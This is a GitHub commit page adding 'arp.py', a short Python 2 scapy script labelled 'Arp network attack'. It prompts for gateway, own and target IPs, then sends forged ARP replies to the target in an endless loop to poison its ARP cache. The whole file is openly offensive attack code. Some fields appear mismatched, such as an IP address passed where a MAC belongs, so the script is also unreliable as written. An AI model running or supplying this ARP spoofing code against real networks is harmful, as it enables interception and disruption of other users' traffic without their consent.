Skip to content

Commit 2452802

Browse files
committed
Arp network attack
1 parent fb88a40 commit 2452802

File tree

1 file changed

+36
-0
lines changed

1 file changed

+36
-0
lines changed

arp.py

+36
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
import os
2+
import sys
3+
from scapy.layers.l2 import getmacbyip
4+
from scapy.all import (
5+
Ether,
6+
ARP,
7+
sendp
8+
)
9+
10+
ifconfig=os.system('ifconfig')
11+
print ifconfig
12+
gmac=raw_input('Please enter gateway IP:')
13+
liusheng=raw_input('Please enter your IP:')
14+
liusrc=raw_input('Please enter target IP:')
15+
try:
16+
tg=getmacbyip(liusrc)
17+
print tg
18+
except Exception , f:
19+
print '[-]{}'.format(f)
20+
exit()
21+
def arpspoof():
22+
try:
23+
eth=Ether()
24+
arp=ARP(
25+
op="is-at",
26+
hwsrc=gmac,
27+
psrc=liusheng,
28+
hwdst=tg,
29+
pdst=liusrc
30+
)
31+
print ((eth/arp).show())
32+
sendp(eth/arp,inter=2,loop=1)
33+
except Exception ,g:
34+
print '[-]{}'.format(g)
35+
exit()
36+
arpspoof()

0 commit comments

Comments
 (0)